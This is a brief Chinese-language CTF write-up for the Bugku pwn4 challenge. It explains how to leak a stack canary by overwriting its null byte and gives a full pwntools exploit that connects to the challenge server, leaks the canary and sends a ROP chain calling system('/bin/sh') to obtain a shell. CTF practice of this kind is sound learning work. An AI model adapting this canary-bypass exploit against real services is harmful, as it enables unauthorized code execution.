[Bugku CTF——Pwn] pwn4
给的提示很清楚,绕过canary保护
那就绕过就好
题目当中有system函数
利用ROPgadget就好
思路
将canary低位的 ‘\x00’ 给覆盖掉, 就可以利用 %s 将其输出, leek出来
exploit
from pwn import *
#p = process('./pwn4_')
p = remote('114.67.246.176',15541)
pop_rdi = 0x0000000000400963
binsh = 0x0000000000601068
sys = 0x000000000040080C
payload = 'a' * (0x240 - 8)
p.sendlineafter('Please leave your name(Within 36 Length):', payload)
p.recvline()
canary = p.recv(7).rjust(8, '\x00')
#log.success('canary ---> : ' + canary)
print canary
payload1 = 'a' * (0x210 - 8) + canary + 'junkjunk' + p64(pop_rdi) + p64(binsh) + p64(sys)
p.sendafter('Please leave a message(Within 0x200 Length):' , payload1)
p.interactive()